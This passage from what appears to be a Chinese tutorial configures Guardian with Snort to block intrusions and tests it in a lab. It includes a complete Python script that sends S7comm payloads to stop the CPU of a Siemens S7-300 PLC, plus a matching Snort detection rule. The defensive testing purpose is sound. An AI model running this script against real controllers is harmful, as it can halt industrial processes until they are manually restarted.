# Line 88: 
sub load_conf {
  ...
  foreach $mypath (split (/:/, $ENV{PATH})) {
    if (-x "$mypath/guardian_block.sh") {
      $blockpath = "$mypath/guardian_block.sh";
    } 
    if (-x "$mypath/guardian_unblock.sh") {
      $unblockpath = "$mypath/guardian_unblock.sh";
    } 
  }
   ...
}
# Line 277: 
...

修改为:

  #foreach $mypath (split (/:/, $ENV{PATH})) {
  #  if (-x "$mypath/guardian_block.sh") {
  #    $blockpath = "$mypath/guardian_block.sh";
  #  } 
  #  if (-x "$mypath/guardian_unblock.sh") {
  #    $unblockpath = "$mypath/guardian_unblock.sh";
  #  } 
  #}
  $blockpath = "/usr/local/bin/guardian_block.sh";
  $unblockpath = "/usr/local/bin/guardian_unblock.sh";

然后,我们还需要修改guardian_block.sh、guardian_unblock.sh:

[root@localhost ~]# vim /usr/local/bin/guardian_block.sh
# /sbin/iptables -I INPUT -s $source -i $interface -j DROP
/sbin/iptables -t raw -I PREROUTING -s $source -j DROP
 
[root@localhost ~]# vim /usr/local/bin/guardian_unblock.sh
# /sbin/iptables -D INPUT -s $source -i $interface -j DROP
/sbin/iptables -t raw -D PREROUTING -s $source -j DROP

ok,已经全部修改完毕!

7.3 配置Guardian.conf

Guardian的配置文件/etc/snort/guardian.conf如下:

# The machines IP address that is visable to the internet
# If this is left undefined, then guardian will attempt to get the information
# from ifconfig, as long as it has an interface to use. This would be useful
# for people on ppp links, or dhcp machines, or if you are lazy :)
HostIpAddr      0.0.0.0

# Here we define the interface which we will use to guess the IP address, and
# block incoming offending packets. This is the only option that is required
# for guardian to run. If the rest are undefined, guardian will use the default.
Interface       br0

# The last octet of the ip address, which gives us the gateway address.
HostGatewayByte  1

# Guardian's log file
LogFile         /var/log/snort/guardian.log

# Snort's alert file. This can be the snort.alert file, or a syslog file
# There might be some snort alerts that get logged to syslog which guardian
# might not see..
AlertFile       /var/log/snort/alert

# The list of ip addresses to ignore
IgnoreFile      /etc/snort/guardian.ignore

# This is a list of IP addresses on the current host, in case there is more
# than one. If this file doesn't exist, then it will assume you want to run
# with the default setup (machine's ip address, and broadcast/network).
TargetFile      /etc/snort/guardian.target

# The time in seconds to keep a host blocked. If undefined, it defaults to
# 99999999, which basicly disables the feature.
TimeLimit       3600

TimeLimit:在多少秒后解除对IP的封锁,86400秒也就是24小时之后解除对IP的封锁。AlertFile是关键,前提是snort以alert_fast输出报警信息

7.4 运行Guardian

常规运行:

[root@localhost ~]# /usr/bin/perl /usr/local/bin/guardian.pl -c /etc/snort/guardian.conf

后台运行:

[root@localhost ~]# nohup /usr/bin/perl /usr/local/bin/guardian.pl -c /etc/snort/guardian.conf &

如果运行Guardian,显示如下信息:

OS shows Linux
Warning! Logfile is not writeable! Engaging debug mode, output to STDOUT
My ip address and interface are: 0.0.0.0       br0
Loaded 0 addresses from /etc/snort/guardian.ignore
Loaded 0 addresses from /etc/snort/guardian.target
Running in debug mode..

则说明配置成功!

8 验证

8.1 测试环境

  • 攻击机:192.168.0.124(Windows 10)
  • 靶   机:192.168.0.234(Siemens S7-300 PLC)
  • 装Snort的IPS设备串联子啊攻击机和靶机之间

Snort规则库如下:

800003||tcp any any -> any 102 (msg:"stop"; flow:established; content:"|03 00 00 21 02 f0 80 32 01 00 00 06 00 00 10 00 00 29 00 00 00 00 00 09 50 5f 50 52 4f 47 52 41 4d|"; sid:800003; rev:1;)

攻击脚本为:

#!/usr/bin/python
# coding:utf-8

import time
import socket

PLC_ADDR = "192.168.0.234"
PLC_PORT = int("102")

create_connect_payload = '\x03\x00\x00\x16\x11\xe0\x00\x00\x00\x14\x00\xc1\x02\x01\x00\xc2\x02\x01\x02\xc0\x01\n'
setup_communication_payload = '\x03\x00\x00\x19\x02\xf0\x802\x01\x00\x00\x02\x00\x00\x08\x00\x00\xf0\x00\x00\x02\x00\x02\x01\xe0'
cpu_stop_payload = "\x03\x00\x00\x21\x02\xf0\x80\x32\x01\x00\x00\x06\x00\x00\x10\x00\x00\x29\x00\x00\x00\x00\x00\x09\x50\x5f\x50\x52\x4f\x47\x52\x41\x4d"

s = socket.socket()
s.connect((PLC_ADDR, PLC_PORT))
time.sleep(0.5)
s.send(create_connect_payload)
time.sleep(0.5)
s.send(setup_communication_payload)
time.sleep(0.5)
s.send(cpu_stop_payload)
time.sleep(0.5)
s.recv(1024)
s.close()

这个脚本是使PLC的CPU在特定构造的ProfinetIO二层网络包通讯时拒绝服务,CPU进入故障模式,需手动重启进行恢复。

8.2 测试效果

测试Snort的告警,如下图:

测试Snort的阻断,如下图:

...

Tags Read More..